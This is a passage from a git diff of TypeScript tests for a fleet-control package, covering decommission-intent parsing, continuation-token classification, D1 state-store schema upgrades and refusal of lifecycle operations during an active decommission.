pendingSpecDigest = 'd'.repeat(64); + const migrating = fleetRecord({ + backend: 'plain-worker', + pendingSpecDigest, + pendingArtifactVersion: 'pending-version', + }); + const valid = { + ...common('migrating'), + identity: { + ...identity('migrating'), + mode: { + kind: 'normal' as const, + requestedSpecDigest: pendingSpecDigest, + entryLifecyclePhase: 'migrating' as const, + }, + }, + state: 'transitioning' as const, + }; + expect(parse(valid, migrating)).toEqual(valid); + expect(parse(valid, fleetRecord({ pendingSpecDigest }))).toEqual(valid); + for (const pendingArtifactVersion of ['', 'pending', 42]) { + expect(() => + parse(valid, { + ...migrating, + pendingArtifactVersion: pendingArtifactVersion as never, + }), + ).toThrow(DecommissionAdvanceIntentError); + } + expect(() => + parse({ ...valid, lifecyclePhase: 'decommissioning' }, migrating), + ).toThrow(DecommissionAdvanceIntentError); + expect(() => + parse({ ...valid, identity: identity('migrating') }, migrating), + ).toThrow(DecommissionAdvanceIntentError); + expect(() => + parse({ + ...valid, + identity: { + ...valid.identity, + mode: { + kind: 'backend-switch', + priorSpecDigest: DIGEST, + targetSpecDigest: DIGEST, + decommissionSnapshotSha256: DIGEST, + backendSwitchSubphase: 'decommission-application-r2-authorized', + }, + }, + }), + ).toThrow(DecommissionAdvanceIntentError); + expect(() => + parse( + { ...common('ready'), state: 'transitioning' }, + fleetRecord({ pendingSpecDigest: 'd'.repeat(64) }), + ), + ).toThrow(DecommissionAdvanceIntentError); + expect(() => + parse(valid, fleetRecord({ migrationIntent: {} as never })), + ).toThrow(DecommissionAdvanceIntentError); + + const wfpMigration = fleetRecord({ + backend: 'workers-for-platforms', + pendingSpecDigest, + migrationIntent: { targetSpecDigest: pendingSpecDigest } as never, + }); + const wfpValid = { + ...valid, + identity: identity('migrating', wfpMigration, pendingSpecDigest), + }; + expect(parse(wfpValid, wfpMigration)).toEqual(wfpValid); + expect(() => + parse(wfpValid, { ...wfpMigration, migrationIntent: undefined }), + ).toThrow(DecommissionAdvanceIntentError); + expect(() => + parse(wfpValid, { + ...wfpMigration, + pendingSpecDigest: 'e'.repeat(64), + }), + ).toThrow(DecommissionAdvanceIntentError); + + const advanced = { + ...common('decommissioning'), + identity: { + ...identity('migrating'), + mode: { + kind: 'normal' as const, + requestedSpecDigest: DIGEST, + entryLifecyclePhase: 'migrating' as const, + }, + }, + state: 'transitioning' as const, + }; + expect(parse(advanced)).toEqual(advanced); + expect(() => + parse({ + ...advanced, + identity: { + ...advanced.identity, + mode: { + ...advanced.identity.mode, + requestedSpecDigest: 'f'.repeat(64), + }, + }, + }), + ).toThrow(DecommissionAdvanceIntentError); + }); + + it('requires an exact safe blocked attachment union', () => { + const base = { + ...common('application-resources-deleting'), + state: 'blocked' as const, + purpose: r2Purpose(), + }; + expect( + parse({ ...base, attachment: { plane: 'ordinary', scriptName: 'one' } }), + ).toMatchObject({ + attachment: { plane: 'ordinary', scriptName: 'one' }, + }); + for (const attachment of [ + { plane: 'ordinary', scriptName: 'one', dispatchNamespace: 'fleet' }, + { plane: 'dispatch', scriptName: 'one' }, + { plane: 'dispatch', scriptName: '', dispatchNamespace: 'fleet' }, + { + plane: 'dispatch', + scriptName: 'one', + dispatchNamespace: 'fleet', + token: 'secret', + }, + ]) { + expect(() => parse({ ...base, attachment })).toThrow( + DecommissionAdvanceIntentError, + ); + } + }); + + it('requires evidence-free terminal state and complete record invariants', () => { + const source = fleetRecord({ + backend: 'workers-for-platforms', + phase: 'decommissioned', + applicationResources: [applicationResource('deleted')], + activeRelease: { + physicalScriptName: 'acme-production-aaaaaaaaaaaaaaaaaaaa', + specDigest: DIGEST, + artifactVersion: 'version-1', + releaseSchemaVersion: 1, + }, + }); + const valid = { + ...common('ready'), + identity: identity('ready', source), + lifecyclePhase: 'decommissioned' as const, + state: 'complete' as const, + }; + expect(parse(valid, source)).toEqual(valid); + expect(() => + parse( + { + ...valid, + discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 }, + }, + source, + ), + ).toThrow(DecommissionAdvanceIntentError); + expect(() => + parse(valid, { ...source, databaseExportSize: undefined }), + ).toThrow(DecommissionAdvanceIntentError); + for (const malformedSource of [ + { ...source, phase: 'ready' as const }, + { ...source, applicationResources: [applicationResource('created')] }, + { ...source, databaseExportLocation: undefined }, + { ...source, databaseExportSha256: undefined }, + { ...source, pendingSpecDigest: 'd'.repeat(64) }, + { ...source, pendingArtifactVersion: 'pending-version' }, + { ...source, pendingRelease: {} as never }, + { ...source, migrationPriorRelease: {} as never }, + { ...source, rollbackRelease: {} as never }, + { ...source, retiringRelease: {} as never }, + { ...source, migrationIntent: {} as never }, + { ...source, backendSwitchIntent: {} as never }, + ]) { + expect(() => parse(valid, malformedSource)).toThrow( + DecommissionAdvanceIntentError, + ); + } + expect(() => + parse( + { + ...valid, + identity: { + ...valid.identity, + mode: { + kind: 'normal', + requestedSpecDigest: 'f'.repeat(64), + entryLifecyclePhase: 'migrating', + }, + }, + }, + source, + ), + ).toThrow(DecommissionAdvanceIntentError); + }); + + it('parses exact secret-negative continuation tokens', () => { + const valid = { + version: 1 as const, + tenantTag: 'acme', + environment: 'production', + operationId: OPERATION_ID, + revision: 3, + }; + expect(parseDecommissionAdvanceToken(valid)).toEqual(valid); + const tokenAtSerializedBytes = (byteLength: number) => { + const current = new TextEncoder().encode( + JSON.stringify(valid), + ).byteLength; + const token = { + ...valid, + tenantTag: `${valid.tenantTag}${'x'.repeat(byteLength - current)}`, + }; + expect(new TextEncoder().encode(JSON.stringify(token)).byteLength).toBe( + byteLength, + ); + return token; + }; + const exactBound = tokenAtSerializedBytes(1024); + expect(parseDecommissionAdvanceToken(exactBound)).toEqual(exactBound); + expect(() => + parseDecommissionAdvanceToken(tokenAtSerializedBytes(1025)), + ).toThrow(DecommissionAdvanceTokenError); + expect(JSON.stringify(valid)).not.toMatch( + /cursor|evidence|database|token/iu, + ); + for (const malformed of [ + { ...valid, version: 2 }, + { ...valid, cursor: 'secret' }, + { ...valid, revision: -1 }, + { ...valid, operationId: 'bad' }, + { ...valid, operationId: OPERATION_ID.toUpperCase() }, + { ...valid, operationId: '12345678-1234-5abc-8def-1234567890ab' }, + { ...valid, tenantTag: 'x'.repeat(600), environment: 'y'.repeat(600) }, + ]) { + expect(() => parseDecommissionAdvanceToken(malformed)).toThrow( + DecommissionAdvanceTokenError, + ); + } + let exactError: unknown; + try { + parseDecommissionAdvanceToken({ ...valid, version: 2 }); + } catch (error) { + exactError = error; + } + expect(exactError).toMatchObject({ + name: 'DecommissionAdvanceTokenError', + message: 'decommission advance token is malformed', + }); + expect(exactError).toBeInstanceOf(DecommissionAdvanceTokenError); + }); + + it('classifies current, stale, future, deployment, operation, and complete tokens', () => { + const intent = { + ...common('ready', { revision: 3 }), + state: 'transitioning' as const, + }; + const source = fleetRecord({ decommissionIntent: intent }); + const token = { + version: 1 as const, + tenantTag: 'acme', + environment: 'production', + operationId: OPERATION_ID, + revision: 3, + }; + expect(classifyDecommissionAdvanceToken(token, source)).toBe('current'); + expect( + classifyDecommissionAdvanceToken({ ...token, revision: 2 }, source), + ).toBe('stale'); + expect(() => + classifyDecommissionAdvanceToken({ ...token, revision: 4 }, source), + ).toThrow(DecommissionAdvanceTokenFutureError); + expect(() => + classifyDecommissionAdvanceToken( + { ...token, tenantTag: 'other' }, + source, + ), + ).toThrow(DecommissionAdvanceTokenDeploymentError); + expect(() => + classifyDecommissionAdvanceToken( + { ...token, environment: 'other' }, + source, + ), + ).toThrow(DecommissionAdvanceTokenDeploymentError); + expect(() => + classifyDecommissionAdvanceToken( + { ...token, operationId: 'aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa' }, + source, + ), + ).toThrow(DecommissionAdvanceTokenOperationError); + expect(() => + classifyDecommissionAdvanceToken(token, fleetRecord()), + ).toThrow(DecommissionAdvanceTokenOperationError); + for (const [operation, Expected, message] of [ + [ + () => + classifyDecommissionAdvanceToken({ ...token, revision: 4 }, source), + DecommissionAdvanceTokenFutureError, + 'decommission advance token is from the future', + ], + [ + () => + classifyDecommissionAdvanceToken( + { ...token, environment: 'other' }, + source, + ), + DecommissionAdvanceTokenDeploymentError, + 'decommission advance token targets another deployment', + ], + [ + () => classifyDecommissionAdvanceToken(token, fleetRecord()), + DecommissionAdvanceTokenOperationError, + 'decommission advance token targets another operation', + ], + ] as const) { + let refusal: unknown; + try { + operation(); + } catch (error) { + refusal = error; + } + expect(refusal).toBeInstanceOf(Expected); + expect((refusal as Error).message).toBe(message); + } + const completeSource = fleetRecord({ + phase: 'decommissioned', + applicationResources: [applicationResource('deleted')], + decommissionIntent: { + ...intent, + lifecyclePhase: 'decommissioned', + state: 'complete', + }, + }); + expect( + classifyDecommissionAdvanceToken( + { ...token, revision: 2 }, + completeSource, + ), + ).toBe('stale'); + expect(classifyDecommissionAdvanceToken(token, completeSource)).toBe( + 'current', + ); + expect(() => + classifyDecommissionAdvanceToken( + { ...token, revision: 4 }, + completeSource, + ), + ).toThrow(DecommissionAdvanceTokenFutureError); + expect(() => + classifyDecommissionAdvanceToken( + { ...token, tenantTag: 'other' }, + fleetRecord(), + ), + ).toThrow(DecommissionAdvanceTokenDeploymentError); + }); +}); diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 765d45a4..29f24aa5 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -104,6 +104,43 @@ function record( }; } +function decommissionRecord(tenantTag: string, revision: number): FleetRecord { + const base = { + ...record(tenantTag, 'production'), + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + }; + return { + ...base, + phase: 'decommission-advancing', + decommissionIntent: { + version: 1, + operationId: '123e4567-e89b-42d3-a456-426614174000', + revision, + generation: 0, + updatedAt: `2026-08-11T00:00:${String(revision).padStart(2, '0')}.000Z`, + identity: { + record: { + tenantTag: base.tenantTag, + environment: base.environment, + backend: base.backend, + scriptName: base.scriptName, + databaseId: base.databaseId, + databaseName: base.databaseName, + routeHostname: base.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: base.desiredSpecDigest, + entryLifecyclePhase: 'ready', + }, + }, + lifecyclePhase: 'ready', + state: 'transitioning', + }, + }; +} + function errorShape(error: unknown): unknown { if (error instanceof AggregateError) { return { @@ -680,19 +717,21 @@ async function crossPlaneClaimExclusion(db: D1Database): Promise { await store.withDeploymentLease(plain.tenantTag, plain.environment, (lease) => lease.put(plain), ); + const externalPolicy = canonicalDeploymentEgressPolicy({ + policyId: 'policy-claimc', + tenantTag: 'claimc', + environment: 'production', + allowedHosts: [], + }); const external = { ...record('claimc', 'production'), backend: 'workers-for-platforms' as const, scriptName: plain.scriptName, - outboundPolicy: canonicalDeploymentEgressPolicy({ - policyId: 'policy-claimc', - tenantTag: 'claimc', - environment: 'production', - allowedHosts: [], - }), + outboundPolicy: externalPolicy, platformResources: { maintenanceCapabilityPublicKey: platformSet.maintenanceCapabilityPublicKey, + outboundPolicy: externalPolicy, stateWorker: { scriptName: plain.scriptName, artifactVersion: 'bridge-version', @@ -701,6 +740,22 @@ async function crossPlaneClaimExclusion(db: D1Database): Promise { durableObjectBindings: [], namespaceIds: [], }, + egressProxy: { + scriptName: 'claimc-production-egress', + artifactVersion: 'bridge-egress-version', + artifactDigest: 'c'.repeat(64), + ...externalPolicy, + }, + }, + platformTarget: { + maintenanceCapabilityPublicKey: + platformSet.maintenanceCapabilityPublicKey, + stateArtifactDigest: 'a'.repeat(64), + stateDurableObjectHistoryDigest: 'b'.repeat(64), + egressArtifactDigest: 'c'.repeat(64), + d1SchemaVersion: 1, + d1SchemaHistoryDigest: 'd'.repeat(64), + outboundPolicy: externalPolicy, }, }; let bridgeCollision: unknown; @@ -789,19 +844,21 @@ async function atomicClaimBatch(db: D1Database): Promise { await store.withDeploymentLease('atomic', 'production', (lease) => lease.put(intended), ); + const switchedPolicy = canonicalDeploymentEgressPolicy({ + policyId: 'policy-atomic', + tenantTag: 'atomic', + environment: 'production', + allowedHosts: [], + }); const switched: FleetRecord = { ...intended, backend: 'workers-for-platforms', phase: 'ready', - outboundPolicy: canonicalDeploymentEgressPolicy({ - policyId: 'policy-atomic', - tenantTag: 'atomic', - environment: 'production', - allowedHosts: [], - }), + outboundPolicy: switchedPolicy, platformResources: { maintenanceCapabilityPublicKey: platformSet.maintenanceCapabilityPublicKey, + outboundPolicy: switchedPolicy, stateWorker: { scriptName: intended.scriptName, artifactVersion: 'bridge-version', @@ -810,6 +867,22 @@ async function atomicClaimBatch(db: D1Database): Promise { durableObjectBindings: [], namespaceIds: [], }, + egressProxy: { + scriptName: 'atomic-production-egress', + artifactVersion: 'bridge-egress-version', + artifactDigest: 'c'.repeat(64), + ...switchedPolicy, + }, + }, + platformTarget: { + maintenanceCapabilityPublicKey: + platformSet.maintenanceCapabilityPublicKey, + stateArtifactDigest: 'a'.repeat(64), + stateDurableObjectHistoryDigest: 'b'.repeat(64), + egressArtifactDigest: 'c'.repeat(64), + d1SchemaVersion: 1, + d1SchemaHistoryDigest: 'd'.repeat(64), + outboundPolicy: switchedPolicy, }, }; await store.withDeploymentLease('atomic', 'production', (lease) => @@ -963,6 +1036,99 @@ async function backendSwitchColumnUpgrade(db: D1Database): Promise { }; } +async function decommissionIntentColumnUpgrade( + db: D1Database, +): Promise { + await readyStore(db); + await db + .prepare(`ALTER TABLE ${STATE_TABLE} DROP COLUMN decommission_intent`) + .run(); + const store = new D1FleetStateStore(new D1FleetStateDatabase(db), { + accountId: 'account-primary', + }); + const intended = decommissionRecord('intentupgrade', 1); + await store.withDeploymentLease( + intended.tenantTag, + intended.environment, + (lease) => lease.put(intended), + ); + const columns = await db + .prepare(`PRAGMA table_info(${STATE_TABLE})`) + .all<{ name: string }>(); + const upgraded = await store.get(intended.tenantTag, intended.environment); + return { + phase: upgraded?.phase, + revision: upgraded?.decommissionIntent?.revision, + columns: columns.results + .map(({ name }) => name) + .filter((name) => ADDED_NULLABLE_TEXT_COLUMNS.includes(name as never)), + }; +} + +async function decommissionIntentLostResponse( + db: D1Database, +): Promise { + await readyStore(db); + const delegate = new D1FleetStateDatabase(db); + let lose: 'exact' | 'changed' | undefined = 'exact'; + const database: FleetStateDatabase = { + query: (sql, bindings) => delegate.query(sql, bindings), + execute: (sql, bindings) => delegate.execute(sql, bindings), + async batch(statements) { + const results = await delegate.batch(statements); + const failure = lose; + if (!failure) return results; + lose = undefined; + if (failure === 'changed') { + await db + .prepare( + `UPDATE ${STATE_TABLE} + SET decommission_intent = json_set( + decommission_intent, '$.revision', 3 + ) + WHERE tenant_tag = 'intentlost' + AND environment = 'production'`, + ) + .run(); + } + throw new Error(`committed ${failure} D1 batch response lost`); + }, + }; + const store = new D1FleetStateStore(database, { + accountId: 'account-primary', + }); + const first = decommissionRecord('intentlost', 1); + await store.withDeploymentLease(first.tenantTag, first.environment, (lease) => + lease.put(first), + ); + const exact = await store.get(first.tenantTag, first.environment); + + lose = 'changed'; + let changedFailure: unknown; + try { + await store.withDeploymentLease( + first.tenantTag, + first.environment, + (lease) => lease.put(decommissionRecord('intentlost', 2)), + ); + } catch (error) { + changedFailure = errorShape(error); + } + const final = await store.get(first.tenantTag, first.environment); + const claim = await db + .prepare( + `SELECT COUNT(*) AS count FROM ${PLATFORM_CLAIM_TABLE} + WHERE resource_set_key = 'deployment:intentlost:production'`, + ) + .first<{ count: number }>(); + return { + exactRevision: exact?.decommissionIntent?.revision, + changedFailure, + finalRevision: final?.decommissionIntent?.revision, + claimCount: Number(claim?.count), + }; +} + async function coldConcurrentSchemaInitialization( db: D1Database, ): Promise { @@ -1085,6 +1251,10 @@ export default { return Response.json(await finalLeaseAssertionRollback(env.DB)); case 'backend-switch-column-upgrade': return Response.json(await backendSwitchColumnUpgrade(env.DB)); + case 'decommission-intent-column-upgrade': + return Response.json(await decommissionIntentColumnUpgrade(env.DB)); + case 'decommission-intent-lost-response': + return Response.json(await decommissionIntentLostResponse(env.DB)); case 'lifecycle-errors': return Response.json(await lifecycleErrors(env.DB)); case 'cloudflare-rate-coordination': diff --git a/packages/fleet-control/test/fleet.test.ts b/packages/fleet-control/test/fleet.test.ts index 6ac00605..c9b8e85c 100644 --- a/packages/fleet-control/test/fleet.test.ts +++ b/packages/fleet-control/test/fleet.test.ts @@ -43,6 +43,7 @@ import type { FleetStateStore, LiveDeployment, MaintenanceHealth, + NormalDecommissionLifecyclePhase, PromotionGuard, ProvisioningBackend, ProvisioningBackendKind, @@ -120,6 +121,41 @@ function record( }; } +function advancingRecord( + current: FleetRecord, + lifecyclePhase: NormalDecommissionLifecyclePhase, +): FleetRecord { + return { + ...current, + phase: 'decommission-advancing', + decommissionIntent: { + version: 1, + operationId: '00000000-0000-4000-8000-000000000001', + revision: 1, + generation: 0, + updatedAt: '2026-08-11T00:00:00.000Z', + identity: { + record: { + tenantTag: current.tenantTag, + environment: current.environment, + backend: current.backend, + scriptName: current.scriptName, + databaseId: current.databaseId, + databaseName: current.databaseName, + routeHostname: current.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: current.desiredSpecDigest, + entryLifecyclePhase: lifecyclePhase, + }, + }, + lifecyclePhase, + state: 'transitioning', + }, + }; +} + function spec(item: FleetRecord, schemaVersion = 2): DeploymentSpec { return { tenantTag: item.tenantTag, @@ -2259,6 +2295,47 @@ describe('fleet operations', () => { } }); + it('uses effective decommission phases for fleet and R2 expectations', async () => { + for (const phase of [ + 'ready', + 'worker-deleted', + 'platform-resources-deleted', + 'application-resources-deleted', + 'database-exported', + ] as const) { + const legacy: FleetRecord = { + ...record(`effective-${phase}`), + phase, + applicationResources: [ + { + name: 'FILES', + bucketName: `effective-${phase}-bucket`, + jurisdiction: 'default', + state: 'created', + reservationNonce: 'a'.repeat(32), + creationDate: '2026-08-11T00:00:00.000Z', + }, + ], + }; + const inventory = inventoryFor([legacy]); + const audit = (current: FleetRecord) => + auditFleetDrift({ + store: storeFor([current]), + records: [current], + inventory, + backendFor: () => new FleetBackend(current.backend), + specFor: () => spec(legacy), + maintenanceSecretFor: () => 'maintenance-admin-secret-value-00001', + staleAfterMs: 1_000, + now: 10_000, + }); + + expect(await audit(advancingRecord(legacy, phase)), phase).toEqual( + await audit(legacy), + ); + } + }); + it('preserves collection findings and applies publishing and database-deleting ownership semantics', async () => { const publishingBase = record('publishing'); const publishing = { diff --git a/packages/fleet-control/test/platform-resources.test.ts b/packages/fleet-control/test/platform-resources.test.ts index 6303e41b..4cf6c3a8 100644 --- a/packages/fleet-control/test/platform-resources.test.ts +++ b/packages/fleet-control/test/platform-resources.test.ts @@ -19,6 +19,7 @@ import type { ExternalPlatformTargetDescription, ExternalReleaseSnapshot, FleetRecord, + NormalDecommissionLifecyclePhase, } from '../src/types.js'; const spec: DeploymentSpec = { @@ -79,6 +80,41 @@ const ROUTE_EXPECTATION_PHASES = [ ['route-published', false, 'credentials-revoked', ['target']], ] as const; +function advancingRecord( + record: FleetRecord, + lifecyclePhase: NormalDecommissionLifecyclePhase, +): FleetRecord { + return { + ...record, + phase: 'decommission-advancing', + decommissionIntent: { + version: 1, + operationId: '00000000-0000-4000-8000-000000000001', + revision: 1, + generation: 0, + updatedAt: '2026-08-11T00:00:00.000Z', + identity: { + record: { + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + routeHostname: record.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: record.desiredSpecDigest, + entryLifecyclePhase: lifecyclePhase, + }, + }, + lifecyclePhase, + state: 'transitioning', + }, + }; +} + describe('external platform resource identity', () => { it.each( ROUTE_EXPECTATION_PHASES, @@ -249,6 +285,70 @@ describe('external platform resource identity', () => { ).toEqual(expected); }); + it('uses the effective lifecycle phase for route authority and diagnostics', () => { + const activeRelease: ExternalReleaseSnapshot = { + physicalScriptName: 'release-active', + specDigest: 'a'.repeat(64), + artifactVersion: 'etag-active', + releaseSchemaVersion: 2, + }; + const target: ExternalPlatformTargetDescription = { + maintenanceCapabilityPublicKey: profile.maintenanceCapabilityPublicKey, + stateArtifactDigest: '1'.repeat(64), + stateDurableObjectHistoryDigest: '2'.repeat(64), + sharedOutboundWorkerName: 'shared-outbound', + stateEgressCredentialDigest: '3'.repeat(64), + d1SchemaVersion: 2, + d1SchemaHistoryDigest: '4'.repeat(64), + outboundPolicy: canonicalDeploymentEgressPolicy({ + policyId: 'policy-acme', + tenantTag: 'acme', + environment: 'production', + allowedHosts: ['api.example.com'], + }), + }; + const ready: FleetRecord = { + tenantTag: 'acme', + environment: 'production', + backend: 'workers-for-platforms', + scriptName: 'acme-production', + databaseId: 'db-acme', + databaseName: 'acme-production', + schemaVersion: 2, + artifactVersion: activeRelease.artifactVersion, + desiredSpecDigest: activeRelease.specDigest, + activeRelease, + platformTarget: target, + durableObjectBindings: [], + routeHostname: 'acme.example.test', + phase: 'ready', + updatedAt: '2026-08-11T00:00:00.000Z', + }; + + expect(externalRouteExpectations(advancingRecord(ready, 'ready'))).toEqual([ + { release: activeRelease, target }, + ]); + expect(() => + externalRouteExpectations( + advancingRecord( + { + ...ready, + pendingRelease: activeRelease, + platformTarget: undefined, + }, + 'publishing', + ), + ), + ).toThrow( + 'external publishing route authority has no persisted platform target', + ); + expect(() => + externalRouteExpectations( + advancingRecord({ ...ready, activeRelease: undefined }, 'ready'), + ), + ).toThrow('external ready route authority has no persisted release'); + }); + it('rejects publishing without its intended release and platform target', () => { const incomplete: FleetRecord = { tenantTag: 'acme', diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index e5c935b0..b8600f72 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -11,6 +11,7 @@ import type { BridgeSnapshot, FinalizedOrdinaryStateProvider, } from '../src/backend-switch.js'; +import { migrateFleet, rollbackExternalRelease } from '../src/fleet.js'; import { canonicalDeploymentEgressPolicy, externalEgressProxyScriptName, @@ -1053,6 +1054,228 @@ describe('fleet provisioning', () => { expect(backend.events).toEqual([]); }); + it('refuses every root lifecycle mutation while decommission advances', async () => { + const deployment = spec(); + const external = spec({ + authoredBy: 'external', + durableObjectMigrations: [], + egressProxyService: undefined, + }); + const digest = deploymentSpecDigest(deployment); + const operationId = '00000000-0000-4000-8000-000000000001'; + const cases: readonly Readonly<{ + name: string; + run(input: { + backend: FakeBackend; + store: MemoryStore; + current: FleetRecord; + }): Promise; + }>[] = [ + { + name: 'provisionDeployment', + run: ({ backend, store }) => + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: deployment, + secrets, + }), + }, + { + name: 'migrateFleet', + run: ({ backend, store, current }) => + migrateFleet({ + store, + records: [current], + canaryTenantTags: [], + backendFor: () => backend, + specFor: () => deployment, + secretsFor: () => secrets, + }), + }, + { + name: 'rollbackExternalRelease', + run: ({ backend, store }) => + rollbackExternalRelease({ + store, + backend, + currentSpec: external, + rollbackSpec: external, + secrets, + }), + }, + { + name: 'cleanupDeploymentArtifacts', + run: ({ backend, store }) => + cleanupDeploymentArtifacts({ backend, store, spec: deployment }), + }, + { + name: 'forceDecommissionDeployment', + run: ({ backend, store }) => + forceDecommissionDeployment({ + backend, + store, + tenantTag: deployment.tenantTag, + environment: deployment.environment, + }), + }, + { + name: 'decommissionDeployment', + run: ({ backend, store }) => + decommissionDeployment({ backend, store, spec: deployment }), + }, + ]; + + for (const item of cases) { + const backend = new FakeBackend(); + const store = new MemoryStore(); + const current: FleetRecord = { + tenantTag: deployment.tenantTag, + environment: deployment.environment, + backend: backend.kind, + scriptName: deployment.scriptName, + databaseId: backend.databaseId, + databaseName: deployment.databaseName, + schemaVersion: deployment.schemaVersion, + artifactVersion: 'artifact-v3', + desiredSpecDigest: digest, + durableObjectBindings: [], + routeHostname: deployment.routeHostname, + phase: 'decommission-advancing', + decommissionIntent: { + version: 1, + operationId, + revision: 1, + generation: 0, + updatedAt: '2026-08-11T00:00:00.000Z', + identity: { + record: { + tenantTag: deployment.tenantTag, + environment: deployment.environment, + backend: backend.kind, + scriptName: deployment.scriptName, + databaseId: backend.databaseId, + databaseName: deployment.databaseName, + routeHostname: deployment.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: digest, + entryLifecyclePhase: 'ready', + }, + }, + lifecyclePhase: 'ready', + state: 'transitioning', + }, + updatedAt: '2026-08-11T00:00:00.000Z', + }; + store.record = current; + + await expect( + item.run({ backend, store, current }), + item.name, + ).rejects.toThrow( + `${item.name} cannot run during an active decommission`, + ); + expect(backend.events, item.name).toEqual([]); + expect(backend.findDatabaseCalls, item.name).toBe(0); + expect(backend.databaseIdsRead, item.name).toEqual([]); + } + + const raceBackend = new FakeBackend(); + const advancing: FleetRecord = { + tenantTag: deployment.tenantTag, + environment: deployment.environment, + backend: raceBackend.kind, + scriptName: deployment.scriptName, + databaseId: raceBackend.databaseId, + databaseName: deployment.databaseName, + schemaVersion: deployment.schemaVersion, + artifactVersion: 'artifact-v3', + desiredSpecDigest: digest, + durableObjectBindings: [], + routeHostname: deployment.routeHostname, + phase: 'decommission-advancing', + decommissionIntent: { + version: 1, + operationId, + revision: 1, + generation: 0, + updatedAt: '2026-08-11T00:00:00.000Z', + identity: { + record: { + tenantTag: deployment.tenantTag, + environment: deployment.environment, + backend: raceBackend.kind, + scriptName: deployment.scriptName, + databaseId: raceBackend.databaseId, + databaseName: deployment.databaseName, + routeHostname: deployment.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: digest, + entryLifecyclePhase: 'ready', + }, + }, + lifecyclePhase: 'ready', + state: 'transitioning', + }, + updatedAt: '2026-08-11T00:00:00.000Z', + }; + const { decommissionIntent: _decommissionIntent, ...ready } = advancing; + const raceStore = new MemoryStore(); + raceStore.record = advancing; + let reads = 0; + raceStore.get = async () => { + reads += 1; + return reads === 1 + ? ({ ...ready, phase: 'ready' } as FleetRecord) + : raceStore.record; + }; + await expect( + decommissionDeployment({ + backend: raceBackend, + store: raceStore, + spec: deployment, + }), + ).rejects.toThrow( + 'decommissionDeployment cannot run during an active decommission', + ); + expect(reads).toBe(2); + expect(raceBackend.events).toEqual([]); + + const completeStore = new MemoryStore(); + const activeIntent = advancing.decommissionIntent; + if (!activeIntent || activeIntent.state === 'complete') { + throw new Error('missing active decommission intent'); + } + completeStore.record = { + ...advancing, + phase: 'decommissioned', + applicationResources: [], + databaseExportLocation: 'r2://exports/database.sqlite', + databaseExportSha256: 'f'.repeat(64), + databaseExportSize: 128, + decommissionIntent: { + ...activeIntent, + lifecyclePhase: 'decommissioned', + state: 'complete', + }, + }; + await expect( + forceDecommissionDeployment({ + backend: raceBackend, + store: completeStore, + tenantTag: deployment.tenantTag, + environment: deployment.environment, + }), + ).resolves.toBeUndefined(); + expect(completeStore.record).toBeUndefined(); + expect(raceBackend.events).toEqual([]); + }); + it('persists the ordered create phases and returns a ready deployment', async () => { const backend = new FakeBackend(); const store = new MemoryStore(); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index f04ae6a8..d5afc0c4 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -242,6 +242,43 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }); }); + it('upgrades a legacy table and round-trips the decommission shell', async () => { + await expect( + probe<{ + phase: string; + revision: number; + columns: string[]; + }>('decommission-intent-column-upgrade'), + ).resolves.toEqual({ + phase: 'decommission-advancing', + revision: 1, + columns: [ + 'backend_switch_intent', + 'settled_settlement_key', + 'decommission_intent', + ], + }); + }); + + it('converges only exact lost decommission writes in real D1', async () => { + const result = await probe<{ + exactRevision: number; + changedFailure: ProbeError; + finalRevision: number; + claimCount: number; + }>('decommission-intent-lost-response'); + + expect(result).toEqual({ + exactRevision: 1, + changedFailure: { + name: 'Error', + message: expect.stringContaining('mixed atomic ownership commit'), + }, + finalRevision: 3, + claimCount: 1, + }); + }); + it('preserves operation, heartbeat, and release errors for both lease types', async () => { const result = await probe<{ deployment: ProbeError; @@ -289,7 +326,11 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }>('cold-concurrent-schema-initialization'), ).resolves.toEqual({ written: Array.from({ length: 16 }, (_, index) => `cold${index}`).sort(), - columns: ['backend_switch_intent', 'settled_settlement_key'], + columns: [ + 'backend_switch_intent', + 'settled_settlement_key', + 'decommission_intent', + ], rows: 16, tables: [ 'anchorage_fleet_deployments', diff --git a/packages/fleet-control/test/state-store.test.ts b/packages/fleet-control/test/state-store.test.ts index 332664c0..84858a91 100644 --- a/packages/fleet-control/test/state-store.test.ts +++ b/packages/fleet-control/test/state-store.test.ts @@ -1,6 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; +import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; +import { DECOMMISSION_INTENT_BYTE_BOUND } from '../src/decommission-intent.js'; import { canonicalDeploymentEgressPolicy, durableObjectMigrationHistoryDigest, @@ -16,6 +18,21 @@ import type { FleetRecord, PlatformPlaneResourceSet } from '../src/types.js'; const MAINTENANCE_PUBLIC_KEY = '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}'; +const INVALID_DECOMMISSION_INTENT = + 'fleet state row has invalid decommission_intent'; + +async function expectInvalidDecommission( + operation: Promise, +): Promise { + let refusal: unknown; + try { + await 